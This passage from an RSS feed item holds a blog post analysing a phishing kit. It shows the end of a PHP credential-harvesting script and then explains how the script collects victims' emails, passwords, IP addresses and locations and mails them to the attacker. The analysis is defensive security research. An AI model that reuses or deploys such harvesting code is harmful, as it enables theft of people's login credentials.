    &lt;span class=&quot;nb&quot;&gt;mail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$subject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;   
    &lt;span class=&quot;nv&quot;&gt;$signal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;ok&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;InValid Credentials&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$fp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apas.txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;fwrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// $praga=rand();&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// $praga=md5($praga);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$signal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;bad&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Please fill in all the fields.&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;signal&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$signal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;msg&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;redirect_link&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$redirect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here we can see the calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$_POST&lt;/code&gt;, concretely, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$email = trim($_POST[&apos;ai&apos;]); $password = trim($_POST[&apos;pr&apos;]);&lt;/code&gt;. The remaining logic is also simple and clean:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;The parameters are received by POST and checked for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IP&lt;/code&gt; of the requesting victim is obtained by the env variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REMOTE_ADDR&lt;/code&gt; of PHP;&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user agent&lt;/code&gt; is also fetched by getting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP_USER_AGENT&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;The approximate location of the victim is discovered by requesting &lt;a href=&quot;http://www.geoiptool.com/&quot;&gt;geoiptool&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;An email &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$message&lt;/code&gt; is created with all that information, with the subject &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Login : $ip&lt;/code&gt;, and PHPmailer is used to send the email to the attacker.&lt;/li&gt;
  &lt;li&gt;In some versions of this malware, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;txt&lt;/code&gt; file is stored as a log, but I had no luck finding such a file in this case.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, the case is closed. As of today, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;def.php&lt;/code&gt; appears to have been removed from the remote website (giving 404), but this can also be just a modification of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PHP&lt;/code&gt; script to occur as an error and make more challenging its analysis.&lt;/p&gt;

&lt;p&gt;Looking further on GitHub, we find a lot of accounts with low activity with derivations of these payloads (&lt;a href=&quot;https://github.com/search?q=%24email+%3D+trim%28%24_POST%5B%27ai%27%5D%29%3B+%24password+%3D+trim%28%24_POST%5B%27pr%27%5D%29%3B&amp;amp;type=code&quot;&gt;try it&lt;/a&gt;). Seems like attackers are adopting open-source and code versioning.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64string==&lt;/code&gt; is a dummy placeholder just to keep the &lt;em&gt;destination&lt;/em&gt; URL hidden. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Sat, 30 Jul 2022 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/infosec/2022/07/30/phishing-story.html</link>
        <guid isPermaLink="true">https://jpdias.me/infosec/2022/07/30/phishing-story.html</guid>
        
        <category>infosec</category>
        
        <category>phishing</category>
        
        <category>security</category>
        
        
        <category>infosec</category>
        
      </item>
    
  </channel>
</rss>